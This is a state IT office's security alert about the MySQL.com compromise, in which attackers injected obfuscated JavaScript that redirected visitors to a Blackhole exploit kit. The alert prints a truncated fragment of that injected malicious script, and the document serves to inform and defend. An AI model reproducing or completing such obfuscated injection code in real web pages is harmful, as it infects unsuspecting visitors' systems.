COT Security Alert – MySQL Site Security Breach

Hackers recently compromised MySQL.com and caused the site to redirect to a malicious URL in order to infect the systems of unsuspecting visitors who used unpatched browsers and plug-ins.

The site was infected with a JavaScript Malware called "mwjs159". The compromise caused visitors of the site to be redirected to another site that attempted to install the malware on visitors' systems using code from the Blackhole exploit kit. According to researchers, the Mysql.com website was injected with a script that generates an iFrame, redirecting visitors to a malicious site.

The malicious code within MySQL.com source, looked like this:

Object.prototype.qwe=function(){return String.fromCharCode;};Object.prototype.asd="e";var s="";try{{}["qwtqwt"] ();}catch(q){if(q)r=1;}if(r&&+new Object(1231)&&document.createTextNode("123") .data&&typeof{}.asd.vfr==='undefined')n=2;e=eval;m=[18/n,18/n,210/n,204/n,64/n,80/n,2 00/n, 222/n, 198/n, 234/n, 218/n, 202/n, 220/n, 232/n, 92/n, 206/n, 202/n,232/n, …

It appears that MySQL.com has remediated this compromise and their site has been cleaned up; however, if you have visited MySQL.com recently, it is recommended that you update your Anti-Virus definitions and do a full system sweep. For more information, please refer to the following SANS link:
http://isc.sans.edu/diary.html?storyid=11638#comment

If you have any questions or concerns, please feel free to contact the COT IT Security Administration Branch.

NOTICE: COT is providing this information so that you are aware of the latest security threats, vulnerabilities, software patches, etc. You should consult with your network administrator or other technical resources to ensure that the appropriate actions for these alerts are followed. If you are a network administrator and need additional information, please call the Help Desk at 502.564.7576.

Security Administration Branch
Commonwealth Office of Technology
120 Glenn's Creek Road, Jones Building
Frankfort, KY 40601
COTSecurityServicesISS@ky.gov
http://technology.ky.gov/CISO/